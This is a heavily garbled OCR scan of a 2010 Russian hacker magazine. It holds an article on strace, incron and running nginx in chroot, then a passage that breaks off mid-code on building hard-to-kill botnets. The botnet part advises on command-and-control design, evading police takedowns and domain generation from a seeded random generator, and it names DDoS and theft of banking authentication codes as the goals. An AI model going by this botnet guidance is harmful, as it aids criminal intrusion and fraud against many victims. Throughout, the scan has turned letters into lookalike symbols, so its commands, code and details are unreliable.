реданнь!х процессу. [1о умолнанию 51гасе не показь!вает
сами переменнь!е окрухения' но его мохно попросить
вь:водить более подробную информацию с помощью оп-
ции '-у'. 8ь:зов возвратил 0 - значит все о[<. 8 противном
случае значение бь:ло бь: - 1 '
х^кЁР 08 /1з9/ 10
|!ге|ох за ] м;-у п у при аг тивном с ерФич: е
[ледуюдий ин:ереснь:й системнь й вь:зов ассе55:
проверка прав пользователя на файл. 8 данном слунае
тестируется существование файла [о чем говорит рехим
провер[ и | 0(). !а тре п ьеи строчке системнь!й вь!зов
вернул значение - 1 |оши6ка] и вь1вел ошибку Б\0Б\1
[\о зшс[т 1![е ог 6!гес1огу). 3то нормально. так как этот
файл всего лишь слухитдля указания линковщику на ис-
пользование с !аьда0тно!х неоп ] имизироваань:х версий
6и6лиотек.
(ак правило' с ломощью вь!зова ассе55 проверяют-
ся только права на файлили существование самого
файла, без уауих-ли6о последующих манипуляций над
файлом' |4анипуляции над файлом всегда начинаются
с системного вь!зова ореп, открь!вающего файл в одном
из рехимов [0 п00ш|у' 0 шпо|х]!у или 0_Р0\:!Ё].
8ьтзов возвращает небольшое целое число - файловь:й
дескриптор' которь; й впоследствии будет использовать-
ся другими вь зовами [до того момента, пока не будет
закрь!тс помощью вь:зова с[озе]'
['1осле открь:тия файла вь;зовом ореп происходит его
чтение вь!зовом геаё или запись вь!зовом тмг!1е' 06а
вь!зова принимают файловь:й дескриптор' а возвращают
количество прочитаннь;х/зап исаннь:х байт-
8ь:зов |з|а{ предназначен для получения информации о
файле [номер !по6е' ш!6, 9!0 и т'д')
[амь;й главнь:й вь!зов влистинге вь!ше цпагле' кото-
рь:й позволяет получить информацию о текущем ядре.
Ёсли трассировка [.]пагпе занимает всего сотню строк' то
трассировка серьезного прилохения легко мохет зани-
мать несколько ть!сяч строк. 9итатьтакой лог - не самое
большое удовольствие. ['1оэтому иногда лучше запись1
вать в логтолько определеннь]е вь зовь!. Ёапример, нто-
бь: отследить все вь!зовь! ореп и ассе55 (а на них следует
о6ращать внимание в первую очередь при проблемах с
запуском прилохения),
$ 5сгасе е [гасе=ореп,ассезз \
-о 5[гасе.1о9 шпапе
8место перенисления всех нухнь!х вь!зовов мохно
использовать классь!, состоящие только из специали-
зированнь х вь зовов: 1![е, ргосезз, пе1и''огк' з!9па[ или
!рс.1акхе мохно писать в лог все вь!зовь!' кроме одного.
|апример, что6ь; исключить вь!зов гпгпар:
$ 5[гасе _е |гасе=\!ппар _о 5[гасе.1о9 цпапе
( сохалению, исключить из вь1вода сразу несколько
вь!зовов не получится.
Ёекоторь;е прилохения в процессе работь: любят на-
плодить большое количество донерних процессов. [')о
умолчанию 51гасе игнорируетдочерние процессь!' но
это поведение мохно изменить с помощью опции '-['.
Ёсли вь:вод з{гасе пишется в лог' то удо6но использовать
опцию '-{т'' которая заставляет 51гасе писать трассировку
кахдого процесса в отдельнь:й лог вида {![епагпе.Р!0.
} шагп!п9
[,4з соо6рахений
6езопасности не
следует запускать [66
на подозрительнь1х
бинарниках - это
мохет привести
к вь!полнению
вредоносного
кода. подробности'
например' тут:
щщшса|оппа1 пе!
!{о9/!!6 атб1тгагу
соф9319сш|!оп/' Ёа
п одоз р ител ьн ь! х
файлах лунше
использовать геа6е[{.
> !'!п&з
5 [ га се ' 5 о (-] гс е [о 19 е '
пе!
шштп.[1г4се 9г9
0!1[: о б.цош[цщс:!аэ1
по1:1цфц$
> !п[о
. 6истемнь:е вь:зовь;
- это <интерфейс>
мехду ядром
и прилохением.
Ёдра |!пох ветки
2.6 имеют более 400
различнь!х вь!зовов'
. [1нформацию
о кахдом системном
вь;зове мохно найти
во втором разделе
гпап. Ёапример'
про повсеместно
встр еяа ю щи й ся
вь!зов ореп мохно
посмотреть так: <пап
2 ореп"
.,[,ля работь: з1гасе
используется
системнь:й вь;зов
р1 га се.
. !ля трассировки
библиотечнь:х
вь!зовов есть
отдел ьн ь; й
инструмент - [{гасе.
) 099
BemeP34 for Journal-plaza.net
Ёще одна весьма полезная возмохность 51гасе: с помощью опции
'-р' и указания Р|0 мохно проводить трассировку ра6отающего
процесса. 1т;1охно дахе соединиться сразу с несколькими процесса-
ми' указав опцию' р'несколько раз. воттакая конструкция запустит
трассировку всех процессов арасье:
+ 3сгасе г $(р;со{ араспе2 зе6'з/\([0 9]*\)/\_р
\1/9')
|]тобь показать всю мощь 5[гасе, опишу несколько случаев из моей
практики' в которь!х без помощи этой удивительнойутилигь: на поиск
и устранение проблемь: я потратил бь: куну времени.
пР0Блвмь| с пРАвАми
!авнь:м-давно, когда апач еще бь:л версии 1.3' а Р|Р - 4' переехал
я на новь:й сервак. !,4 практически сразу вь!лезла одна про6лема из
) 1оо
Файл п!ввка вид тернинал справка
[татисти:ка библиотечнь:х вь:зовов 0оеп0{{!се
Р!Р с помощью обь]чной функции па![ не отправлялись письма' 3а-
глянул в логи индейца - пусто' в логах сендмь!ла и системнь!х логах
- тохе ничего интересного' 6 точно такими хе конфигами арас[:е'
Р!Р и зеп6гпа![ на другом сервере все работало, значит' причина
5!гасе [сокращен ие от 5у5[еп 1гасе) - это свободное [10' расп ростра -
няемое под 850 - подобной лиценз ией.\тилита бь:ла написа на в ] 99'1
году ['1олом (ра ненбургом для 5ш п 05 ка к а налогрил ить; |гасе. Ё{а |1пшх
ее портировал Бранко/1анкестер' которь:й такхе реализовал поддерх
ку в ядре' 3 1 992 году вь: шла версия 2.5 для 5ш п05, но версия для |! пшх
все еще базировалась на версии 1 .5. 8 1 993 году Рик [лэдки обьеди-
нил з[гасе 2.5для 5шп05 и второй релиз 5|гасе для | !пшх. добавив при
этом много возмохностей от[гц55 из 5!Р4.8 результате появилась
51гасе' которая работала и на |!пшх' и на 5шп05. 8 1 994 Рик портировал
з{гасе на 5!Р4 и 5о[аг!з' а в ] 995 _ на !г!х. 6егодня з1гасе поддерхи-
вается большим количеством людей' в списке разработников дахе
успел отметиться сам,|_1инус. [1оследняя на моментнаписания статьи
версия - 4.5.20 от 1 4 апреля 201 0 года. 5|гасе сейчас достаточно актив
но развивается, в основном до6а вляется поддерхка и фи ксятся ба ги
п ри работе на вся ких э кзоти ч н ь!х а рхитектурах.
0]гасе - п родукт 5ш п м ;с го5у51еп5. ра ботает н а 5о |а г!з, Ргее 850 и
йас 05 [ [1 0.5 и старше). Ёстьтестовая версия порта для |!пох'
[1гасе - работает на Ргее350, 0реп850, \е{850 и йас 05 | [до
версии 1 0.5].
[ помощью з{гасе мохно отследить, к каким файлам о6ращалось
конкретное прилохение. !о иногда возникаето6ратная задача -
отследить обращения к определенному файлу и вь!полнить какие-
то действия при этих обращениях. }огда на помощь придет меха_
низм !по1![у. 1по1![у - подсистема ядра' позволяющая отслехивать
файловь:еоперации.1ехнология проверенавременем онабь;ла
включена еще в ядро 2.6' 1 з [июнь 2005]. !по1|[у активно использует_
ся' например' десктопнь!ми поисковиками [вроде 3еа9[е)' а такхе
такой полезной шцкой, как !псгоп.
!псгоп аналогобь:чногосгоп стойлишьразницей' что вь1полне-
ние командь! происходит не по времени, а по насцплению указан-
ного в задании собь|тия'
['1осле установки [1псгоп есть в репозиториях большинства дистри_
бутивов) создается пустой файл /е|с/!псгоп.а[[ош. в котором надо
перечислить пользователей' которь!м разрешено использовать
!псгоп.
[оздаются задания с помощью командь! :
$ |псгоп|аБ _е
Формат задани й:
<путь> <собь|тие> <команда> (с разделением через
пробел )
₠амь:е интересньге со6ь:тия
тш_Ассв55 файл бь:л прочитан
тш_АттР.] в _ измени лцсь метаданнь|е Файла / ката,!ога
1ш моо1гу _ Файл бь!л изменен
]ш_сРвАтв _ файл или каталог бь]л создан в отс-пежи-
ваемой директории
1ш_!Ё!втв _ Файл илц каталог бь|л удален в отслежи_
ваемой директории
тш_ов|втв_5в!г отслеживаемь|й файл или каталог бьтл
удален
1ш_моув файл бьтл перемещен из отслеживаемого ката_
лога или в него
1ш_А!!_вуЁшт5 все собьттия
8 описании командь! мохн0 использовать внгренние перемен-
н ь:е' [а м ь:е полезнь:е:
$@ полное имя отслеживаемого файла/каталога
$# _ относительное иця файла, вьтзвавшего событие
( только при мониторинге каталога )
9% название собьттия
(роме !псгоп есть еще полезная штука, использующая ;по1.1у -
!по1!{у-{оо[з' включающая в себя !по|![утма!{ и !по1!|утма!сб, которь!е
оненьудобно использовать в скриптах. !по(!{уша!| просто хдет
указаннь;х собь:тий надуказаннь:ми файлами и завершается с тем
илиинь|м кодом возврата' [1емного модифицированнь:й скрипт из
пап'а, хорошо иллюстрирующий предназнанение !по|!{утма:|:
$ са1 -/эсг!р1.з}:
ш|11е |по[1|уута][ е по0!!у \
/уаг/1о9/арас}:е27еггог. 1о9; ао
|а;1"'1 /уат / 1о9 / арас\е2 / еттот.1о9
по[|!у-эеп6''Арасье пее65 1оуе]',
6опе
!по|!{уша|с[: просто собирает статистику по о6ращению к опреде-
ленному файлу/каталоц в течение определенного времени или до
прерь!вания и отобрахает ее в виде таблиць!- Ёсть возмохность
сбора статистики только по определеннь:м собь:тиям, задания
исклюнения файлов по маске и чтения списка обьектов для монито-
ринга из файла.
хАкЁР 08 /] з9/ 1 0
BemeP34 for Journal-plaza.net
не в них. [1ора раснехлять 51гасе. 0становил апач и запустил трасси-
ро в ку:
+ 5[гасе _! -о /|пр/арасье2-5ггасе \
/е|с/ |п|[ . о,/арасье2 5[аг[
['1осле того, как скрипт отправки почть: |с нехитрь!м названием гпа!['
рБр) бь л несколько раз запущен из браузера' а арас[е остановлен'
мохно приступать к анализу лога.
$ 9гер па!1.р1тр /{пр/арас[:е2.з|гасе
5з45 геа6(9,'свт /па|1.р}тр нттР/1.1\г\пчо5|:
12'...,8000) =з97
5з45 5|ас \'' /уас /утыы/па|1.р1:р'', {5[_поае=5_
1гР.вс!0644, 3с э\7е-_256, ...}) = 0
5з45 15|ас ('',/уаг/шшш/па|1.р|р'', {5г-поае'5_
тгР'во 0644 , э[_зтзе=256, ... }) = 0
5з45 ореп ('' /уат/ым/па11.р|р", о_Роош!у) = 10
3десь в кахдой строчке первое поле - Р!0' второе - вьзов с пара
метрами. третье - значение, которое вернул вь!зов' 3 большинстве
случаев' если возвращаемое значение не отрицательное - вь!зов
отработал без оши6ки' 1о есть, 9гер по гпа!['рБр не дал ничего инте
ресного, кроме Р!0-процесса [5345]' которь;й его о6рабать:вал. |]то х'
запустим 9гер по Р!0:
$ ягер 5345 /1гпр/арасье2.9|гасе
5]40 с1опе (сь11с_5[аск-0, г1а95-с!ошв_снт!о_
с!вАРт]о! с!ошв_сн1!о_5вттто 51ссн!о, с|!1с1._
||арсг-0х7г зБ! 2еа6а10 ) = 5345
5345 геаа(9, "свт /па]1.рьр нттР/1.1\г\пно5[:
1,2"..., в000) = 397
5з45 5[ав ( "/уаг7шшш/па|1.р|р", {5с_поое=5_
1гРвс 0б44. Б| 5;2е-256, ...}) = 0
5з45 с1опе(сь|1а 5[аск-0, г1а95-с!ошв_сн1!п_
с!вАРт]! ] с!ошв-снт!!-5Ёт:1! ! 5тссн!!, с}т]10_
||ср[г=0х7г зБ!2еа6а10) - 5347
0пять ничего интересного по поводу ошибки. Ёо на последней
строчке с помощью системного вь1зова с[опе создается донерний
процесс с Р!0 5347. }х ть;' квест1 :] 6гер по 5347:
хАквР 08 /1з9/ 10
терминал
[пт,:с:]::|аг;п0в'кото[]ь;--о]г. []ь гзает| т'э[:;< т 1:;т :.:г ,''-:с
$ 9гер 53/о7 /|пр/арасье2.5|гасе
5з45 с1о|е (сь|16_5[аск-0, {1а95-с|,ог.]в_сн1!,о_
с!вАРттп с]-о1']в_снт!о_5втт]0 9]ссн]-!, с}:116_
|.|ор[г-0х?:з]э]2еа6а10) = 53+?
5з47 ехесуе ('' '; }э1п/з|", [''5ь'' , '' -₠'' , '' /ц5г/5ь|п/
5епопа'1 _[ '! '1 ' [/- 6 уагз */] = 1 вАссп5
( Регп|55|оп 6еп|е6)
Бинго1 !ля отправки почть используется /!5г/5ь!п/зеп6па![, а
вь!зов ругается на отсутствие прав. причем права на 5еп6гпа![
вь ставлень корректно' а вот на /б!п/зБ - нет' (аким то о6разом
оказалось, что права на /6!п/зБ 6ь:ли770 (при владельце и группе
гоо[]' то есть пользователь шшш-6а|а |от которого работал арасБе)
не и}.4ел прав на вь!полнение. (орректировка прав исправила это
недоразумение.
пР0БлБмь| с сБтью
иногда 5{гасе позволяет решать сетевь!е проблемь; гораздо бь:стрее
нем 1ср0шгпр. 8 частности, с помощью 5{гасе оченьудобно отслехи-
вать к каким сервисам и в каком порядке обращается прилохение
для определения имен'
0днахдь: я сменил !Р для одного домена' но' несмотря на то' что
6!9 вь:давал мне правильнь]й новьтй !Р' {!ге{ох все еще ломился на
старь й.1рассируем:
$ 5!гасе -' -е |гасе=пе{шогк |!ге{ох ха&ер.гш
7в79 зоске[ (Рг_г]!в, 5оск-5тРвА1'1! 5оск_с!овхвс] 5оск_
шошв!оск, 0) = з
7в79 соппес[ (3, {за-!ап|1у=Аг_г]!в, ра[ь="/уаг/гцп,/
п5са/5оске[''}. 110) - о
?в]9 5епо[о ( з , '\2 \0\0\0\у\0\0\0\7\0\0\0раэзтт6\0 '' ,
19, м5с_шо51сшА!, ш[т!!, 0) - 19
вь!зов соппес[ из листиЁга показь!вает' что Р!ге{ох сначала обра-
щается к сервису \5[0 [кэширующий демон! для разрешения имен'
а только потом' если \5[0 ничего не вь!даст - к 0\5. }-'1а ноутбуке
[с]6 для Ё!ге[ох
) 101
BemeP34 for Journal-plaza.net
терминал
справка
\5[0 только мешается' поэтому я его смело удалил' после чего огне_
лис нашел лравильнь:й айпишник.
п Р0БлЁмь! с псввд0устР0йствАм и
Бь:вает' что какое-то прилохение просто виснет, не вь!давая никаких
ошибоки завершаясь только по [![[' йли работает' но тормозит на' ка-
залось 6ь:' простейшей операции. 1_'1риведу пример: есть старенький
0еб!ап [1с[:, на нем зчш!6 из репозитория с простой \[5А аутентифи-
кацией и 5Ай5 для удобного управления. [1осле создания пользо
вателя через 5Ай5 при релоаде зчш!6 долго тормозит на операциях
добавления пользова_елей
# 5|гасе -{ _о /1.пр/за:пзЁае:поп /е1с/!п!|'с/5а.п56 51аг|
7511з 7з;16:03 э|а[64 (''7е|с/5цш;а/пс5а.5ап5'', {5[_
по6е_5. 1!Рвс|0644, зг_з!7е=з14, ...;) 0
1577з 13: 16:03 ореп (''7е[с/5ч!|с/пс5а.5ап5',, о_
Р.г)ош|у 1 о_АРРвшо ] Ф_]-АР6вР1!в) - 3
757'/з 1з:16:03 с1ове(3) - 0
1517з 7з:16:03 ореп ( '',/6еу/гап0оп'' , о-Р'оош!у) - з
1511з 7з:16:03 геа0(3,
Ё1а последнем вь!зове система задумь!вается больше' чем на минуту.
3нанит, проблема в /6еу/гап6оп' 5Ам5 применяет его для создания
хешей паролей пользователей. [амое простое решение - использо-
вать /6 еу/0 га п 6о п, кото рь! й го раздо бь: стрее, че м /аеу/га пао гп -
сАжАЁм ш6|шх в пБс0чницу
Безопасности много не бь:вает, лоэтому никакая дополнительная
ступень защить; лишней не будет',!остатонно популярнь:й и простой
в реализации механизм минимизации урона от взлома - запуск
прилохения в сБгоо[. [1роцесс переноса прилохения в г|есочницу не
слохен, если воспользоваться 5[гасе и еще одной полезной утилитой
- [66 |показь:вает список совместно используемь]х библиотек Б|Ё
файла). [1окаху на примере' как запускать в сьгоо1 популярнь й на
прос ! орах руне :а веб-сеовер п9!пх.
['1редполохим' что п9|пх [последней на момент написания статьи
версии 0.8'40] ухе со6ран с параметрами по умолчанию и лехит в
/цзг/[оса[. [писок библиотек' которь!е нухнь! емудля работь;:
> 1о2
* ]66 /цэг/[оса]/п9!пх/з!!п/п9!пх
1|пшх_9а[е. Бо. 1 => ( 0хб7789000 )
1!бсгур[..5о. 1 -> / !тб/ \606/споу71|ьсгур[.зо. 1
( 0хь7751000 )
1|брсге.зо.з => /05т /1\ь/1|ьрсге.5о.3 (0хб?728000)
]|5зэ1 . 5о. 0 . 9. 8 =>,/ц5г,/ 1]ь/ |686 /споу/ 11ь551.
3о.0.9.8 (0хБ7504000)
1|ьсгур|о. эо. 0. 9. 6 => /шэг/1|5 / ]68 6 / споу / |]ьсгур[о.
5о.0. 9 .8 ( 0хь7сое000 )
1|ь2.5о.1 ->,/ц5г,/11ь/1|\з.зо.1 (0хь75ьг000)
1]ьс.5о. 6 => /1тБ/ \686,/споу,/1|0с.5о.6 (0хь7464000)
1!ьо].5о. 2 => /!!ь/ \6867споу/1|ьс1.5о.2 (0хь7460000)
/1||/10_1{пшх. зо. 2 ( 0хб?78а000 )
[1 ере н оси м эти 6и6 лио1 еки в за ра нее созда н ное сь гоо|-окрухен и е
(например, /сБгоо|/п9!пх]. !альше' нтобь: удостовериться в том'
что у нас есть все необходимь!е 6и6лиотеки' нухно с помощью [66
посмотреть такхе зависимости скопированнь!х библиотек. (роме
би6лиотек п9!пх'у нухнь! еще некоторь!е конфиги и логи. 7|олуяим
сп исок нео6ходи мь!х файлов :
# 51гасе -е {гасе=ореп /ц5г/1оса1/п9!пх/зБ|п/п9!пх
ореп( ",/е|с./1с. зо.сасье',, Ф_РоФ}1!у) = 3
оре!('' /1'ь/1686,;споу/11Бсгур|. 5о. 1,', о_Р.оош!у) = з
оре!('',/ш5г/11ь/1|ьрсге. 5о.з,', о-Роош|у) - з
ореп ( " /ц5г/ 1||/ |666 /споу/ 11бзз1. зо. 0. 9. в ", о_Рпош!у)
-1
ореп ( '' /ш5г/ 11б/1686/споу/ 1|ьсгур[о. 5о.0 . 9 .8,, ,
о_Р'оош!у) = 3
ореп(''7е[с/ра55ыо'', о_Р'оош!у о_с!овхвс) = 4
ореп(''7е[с,/9гоцр'', о*Р'!ошьу!о с!овхвс) = 4
ореп ('',/ц5г,/1оса1/п9|пх/1о95/ассе55. 1о9,,, о_и1Рошьу о_
сР.вАт о_АРРЁшп|о_!АРспг1ъЁ, о641) = 4
ореп ( " :'цзг/1оса]/п9|пх/1о93/еггог. 1о9,', о_шР.ош!у о_
сРзАт1о-АРРвшп о_!АРовгт[в, 0644) = 5
-копируем недостающие файль;. удаляя при этом из конфигов
ненухную информацию [например, лишних пользователей из /е(с/
ра55ш6 ] '
|оздадим в сБгоо1-окрухе нии |ёеу|пц[[, необходимь;й для нормаль-
-!ого функционирова+ия г9!пх'а
# пкпоа,/сьтоо[,/п9|пх,/сеу,/пц11 с 1 з
8от и все.1еперь запускать п9!пх в сьгоо1 мохно следующим о6ра-
зом'
# сьгоо|,/сьгоо[/п91пх/ /|3т / 1оса!,/п9]пх/3ь!п/п9|пх
зАключЁниЁ
,['ля применения 5[гасе есть некоторь!е ограничения' 3о-первь:х'
понятно' что не следует использовать этот инструмент в рабонем
окрухении (трассировка араспе на вь!соконагрухенном рго6шс|!оп_
сервере будет большой ошибкой] - производительность прилохе-
ния в рехиме трассировки сильно снихается. второе ограничение
- это возмохнь:е про6лемь; с трассировкой 32-битнь:х лрилохений
на ь4-6итной системе' !4' наконец, третье - некоторь е проги падают
при вь]полнении трассировки вследствие наличия ли6о багов, ли6о
защить! оттрассировок [в основном это касается' конечно, проприе-
тарного софта)'
['1есмотря на широкие возмохности' 51гасе - не <сере6ряная пуля>'
он не смохет помочь найти причину абсолютно всех проблем. 0днако
это очень хороший инструмент, которь:й обязательно нухно попробо-
вать' прехде нем 6раться за 96ь.т
[писок динамр:ческих би:блиотек Ё|ге[ох
хАкБР 08 /]з9, 10
BemeP34 for Journal-plaza.net
;'" ,'"."" """',"" """'',""! ,;"" ."
|
!
у|сшфтв0
30м0ир0ва
ния
Аз6ука с03дания неуг0няемых 6отнет0в
милли0нную пла нку. },!х масшта6ь! п03в0ля ют 6от_ма стера м
<распараллелитш финанс0вь|е п0т0ки 0т првд0ставляемь|х
услуг. }!ь:нешние п0дх0дь| к пр0ектир0ванию 6отнета п03в0ляют
исп0ль30вать ег0 какдля 0существления уже ставших классикой
в наше время 00о$-атак, так у1 дляра6оть: на ур0вне 0тдельн0 взять|х
[овременнь!е 6от-сети по своей численн0сти давн0
х0ст0в.
3ачем? Ёапример, с целью получения какой_либо конфиденциальной
информации, с6ора 1А\ []гапзас{!оп ац{Беп{!са{!оп пшгпбе4 использует-
ся в качестве дополнительного средства ащентификации в сервисах
онлайн-банкинга), аккаунтов к целевь.м ресурсам. А все эти мани-
пуляции осуществляются в параллельном рехиме разнь!ми частями
одной 6от-сети. [!о мере роста <персональной армии> могуг появиться
дополнительнь!е подводнь!е камни' которь!е трудно отследить на этапе
проектировки бота и еще труднее от них из6авиться, так как лю6ое изме-
нение в его архитекуре мо)кет разрушить ботнет как картоннь:й домик'
!4'менно поэтому у будущего 6от-мастера долхно бь:ть четкое представ-
ление масщтабов своей сети, решаемь!х ею задач и вариантьп действий
на слунай ее грать|. [1оследний пункт особенно аюуален для бот-сетей
больших масшта6ов или принадлехащих к кардерской инфраструюуре.
3аинтересоваться детищем моуг как конкуренть!, так и правоохрани_
тельнь!е органь:. 8се возмо)кнь!е риски долхнь! 6ь:ть такхе вь!явлень! и
устранень! на этапе проектировки. [-од назад в нашем хурнале концеп_
цию идеального ботнета детально описал Роман |оменко в своей статье
"8ечньгй ботнер. 8 ней он излохил принципь! создания 6ота, органи-
зацию получения команд от командного центра, а так)ке внес некоторь!е
посцлать! проектирования бот-сети. [овецю взять его материал за осно-
ву 8 свою очередь, следуя теоретическим аспектам построения <идеаль-
ной армии>, мь! рассмотрим пракгическую сторону создания бота.
АРхитгкшРА _ нАш! вс[
!уществует мнохество способов управления зарахеннь!ми хостами и
передача команд кахдой машине. 8се зависит от конкретнь!х предпо-
чтений бот-мастера. 8 зависимости от типа используемого ! !ротокола
команднь!м центром мохет вь!сцпать:
. веб-сервер _ управление осуществляется нерез веб_интерфейс. 8
настоящее время это самь:й распространеннь:й способ [кстати' именно
его использует нашумевший 7ешз].
. !п5[ап[ йезза9е среда - передача команд по одному из
!й_протоколов (![0,]аббеп й5\ и т.п.]. [4спользуется в бот-сетях с
небольшим количеством хостов.
> 1о4
. !Р6 - команднь;й центр находится на одном из !Р6-каналов'
йорально устаревший метод осуществления контроля. 8 настоящее
время практически не используется из_за вь:сокой степени вероятности
изолирования [перехвата) командного центра.
. [хм!{1ег_среда - управление ботнетом посредством передачи команд
в твиттер_аккаунте. !овольно экзотический способ, но имеет право на
существование в условиях повсеместной распространенности социаль-
нь:х сетей и веб-сервисов' предоставляющих свои АР!. (стати, в дан-
ном случае мохно не задумь|ваться о том' что команднь;й центр мохет
упасть из-за нагрузки своей хе <<армии>>, ведь большинство даннь!х
проектов Рассчитань! на огромную аудиторию и имеют соответствующие
средства масштабируемости.
. 1[Р/!Р-базе6 - управление посредством протоколов, базирующихся
на стеке ][Р/!Р |]од эц категорию попадают все остальнь!е способь;,
основаннь!е на передаче команд по экзотическим и самописнь!м про-
то колам '
0билие данньпх методов мохно классифицировать всего лишь по двум
признакам [смотри соответствующие рисунки];
. ['1ередана команд посредством командного центра {централизованная
топология |;
. ['1ередана команд от 6ота к боц или Р2Р [децентрализованная топо'
логия].
}добство централизованнь!х схем объясняется наличием единого
центра' к которому о6ращаются боть: с целью получения задания.
|е нухно беспокоиться о своевременном получении командь!
кон кретн ь!м ботом. Фа кть; п олучен ия, вь! пол нен ия, успеш ного/
неуспешного завершения задачи легко фиксируются, что позволяет
вести детальную статистику. 0днако централизованная топология
остается актуальной лишь для небольших бот_сетей по следующим
причинам:
. ['1лохая масштабируемость [с ростом числа зарахеннь!х хостов растет
нагрузка на командньпй центр и увеличивается вероятность осущест-
вления атаки 1 ипа <отказ в обслухивании> на сервер, передающий
зада н ия]:
х^квР 08 /1 з97 1 0
BemeP34 for Journal-plaza.net
₠хема централизованной топологии
о !-|ентрализованное управление (вь:сокая вероятность изолирования
командного центра' что немедленно <<парализует> весь 6отнет].
,0,ецетрализованная топология полностью лишена вь!шеперечисленнь]х
недостатков и в силу особенностей своей архитекцрь: обеспенивает
большую <хивучесть)> бот-сети. Ёо, как всегда, в бонку меда о6язатель-
но кем-то вь!лита солидная лохка депя' и в нашем случае - не одна|
1| Реег-1о-реег схема предполагает уведомление кахдого 6ота о суще-
ствовании других зарахеннь!х машин. 3та процедура является довольно
,.палевной,' так как нео6ходимо хранить на кахдой зарахенной ра6о-
ней станции огромнь:й (мь; рассматриваем большие ботнетьт) файл со
списком !Р всех ботов сети и в реальном времени его обновлять, если
требуется доставка команд кахдой "боевой единице>;
2) 0бновление списка и получение командь! требуют дополнительно -
открь!ть!х портов на зарахенной машине, что увеличивает вероятность
обнарухения 6отнета;
3} 3начительное время затрачивается на передачу задания от хоста к
хосц [Р2Р) и, соответственно' растет общее время его вь!полнения;
4| [рудность ведения статистических даннь:х [сколько 6отов полунили|
вь|полнили задание).
8 большинстве слунаев обилие недостатков и слохность реализации
Р2Р-ботнетов являются решающими факторами в пользу вь;бора цен_
трализованной топол0гии. йь: такхе не будем изобретать велосипед, а
воспользуемся мировь!ми практиками.
(апризньпй команднь:й центр' которь:й постоянно находится в условии
неустойнивого равновесия. стремясь упасть при малейшем росте нашей
<<армии>>' так и норовит отдаться в руки правоохранительнь!х органов'
которь!е вот-вот прикроют главнь:й домен. [1усть прикрь|вают - хакер
его смени1
псгвд0случАйнь|[ им[нА
|енератор псевдослунайнь!х чисел имеет одну осо6енность' которая
является ключевой для 6от-мастера - получая на вход параметр в виде
фиксированного значения, [[19 генерирует слунайную последователь-
ность, которая будет одинакова на различнь!х ра6оних станциях при
условии получения их генераторами этого параметра.
9тобь: тебе не пришлось долго искать смь!сл в использовании ||19, рас_
смотрим следующую функцию:
Функция г₠нёрации псевдослучайной
поспедовательности
|]]| 9епегасог (]пг зее6) {
5гапа ( 3еес) '
/* вьтвод двадцати первь!х элементов
последовательности* /
[ог (х = 1; х <= 20; х++)
рг|п|{('''сета[{оп ъо, гапё=?6\п", х, тапо() );
сессь ( ) ;
ге| ц1'|) 0;
)
х^квР 08 /1 з97 1 0
!вс.р9
0существление атаки типа 00о5 _ классика ис-
пользования 6отнета
Базовь:ми функциями' отвечающими за инициализацию и генерацию
псевдослунайной последовательности' являются давно знакомь!е нам
3гапа( ) и гапё(). Ёа основе переменной зее6 функция этап6()
инициализирует мнохество чисел, на котором, в свою онередь, будет
ра6отать функция генерации гап6 ( ) .
Результат работь; функции 9епега|ог ( ) при значении зее0=1 23:
44о
19053
2зо7 5
[аким образом, зее6 является тем самь!м параметром, на основе кото-
рого будет генерироваться последовательность доменов.
,[]егким двихением руки и небольшим шевелением извилин генератор
псевдослунайной числовой последовательности превращается в гене-
ратор псевдослуяайной последовательности доменнь!х имен, результат
работь: которого ть! мохешь видеть на соответствующем скриншоте.
[посо6 генерации доменного имени основан на простой ра6оте со
строками. Ёинего сверхъестественного в исходном коде генератора нет,
п0этому приводить его здесь не 6удем - ищи исходники с коммента-
риями на диске'
Ёесколько слов мохно сказать об окончаниях доменнь!х имен: домен-
нь!е зонь| беррся из массива и склеиваются со сгенерированной стро-
кой, поэтому' чем больше массив с этими элементами' тем шире диапа-
зон всевозможнь!х вариантов.
!4мея в своем функционале генератор доменного имени, в случае
недосцпности командного центра на основном домене бот генерирует
новь:й и связь!вается с ним. 8 свою очередь' бот-мастер такхе имеет в
наличии аналогичнь;й генератор [с нухнь:м входнь!м параметром зее6},
что позволяет ему заранее зарегистрировать новое доменное имя для
своей <армии,.
[аким образом мьп из6авились от одного из основнь|х недостатков
централизованной топологии - возмохности уничтохения командно-
го центра. 0днако остается угроза получения контроля над доменом
и несанкционированной передачи команд ботам. .!анная про6лема
решается специально спроектированной админской частью [такхе
известной как <административная панель,].
Б0тнБт и .шгт
0дин из методов защить! от несанкционированной передани заданий
6отам заключается в использовании шифрования командного файла на
стороне сервера. (лиент, коим вь!сцпает зарахенная машина, имеет
> 105
BemeP34 for Journal-plaza.net
(п исок с ге нер и ро ва н н ь!х до м енов
в своем распоряхении ключ для расшифровки этого файла. йдея
хорошая' но мь: пойдем другим п}тем' воспользовавшись прелестями
современнь!х технологий'
8 июньском номере 1[ в статье "!язвимости 0\|!\Ё" мь! рассмотре'
ли базовь:е аспекть! создания веб-сервисов на осн0ве технологий
А5Р\гт' 1еперь копнем немного глубхе и посмотрим, как строятся
защищеннь!е веб-прилохения - это пригодится на|/ для построения
административной панели командного центра.8еб прилохение' в роли
которого вь!сцпает (админка>' предоставляет ресурсь: {то есть команд
нь:й файл) своим клиентам [ботам]. 8сем <нехелательнь!м>) ]!ичностям
веб-прилохение долхно показь]вать маршрг в сторону леса.
['1роцесс определения санкционированного клиента состоит из двух
последовательнь]х этапов |
. Адентификация - непосредственно распознаван,1е клиента, запра-
шивающего ресурс;
. Авторизация - определение' имеет ли арентифицированнь;й клиент
необходимь:е права на запрашиваемь:й им ресурс.
,!ля установки процесса арентификации в конфицрационном файле
веб-сервиса [оп{!9.т7!еб необходимо внести соответствующие измене-
ния'.
<соп!;оцгас {оп>
<5есшг' гу>
<а0сьеп[]сас|оп посе= "соок] е', />
< / 5ес!г' |у>
<,/соп{|чцга[ 1оп>
[аким образом мь! устанавливаем процесс арентификации на основе
[оо[!ез-файлов. Аалее для ауентификации клиента необходимо при
нять от него даннь е [[..]5ег]_о9!п и [-1зегРаззшог0), сверить их с требуе-
мь!ми и, в случае успеха, передать ему соо[<!ез файль:, которь:е пона-
добятся клиенц для получения досцпа к защищенной яасти сайта' где
хранится команднь:й файл:
<5сг1р[ 1ап9ша9е=''с#" гцпа|= 5егуег>
уо10 !о9|п-с11ск(оь]есс 5епсег, вуеп[Аг95 в) {
|! ( (1'5ег!о91п.уа10е == ''оо| 5|с етеап,,)
&& (1_]5егРа55шог6.уа1це -= ',ве5[ттР'е5оцгсе'' ) ) {
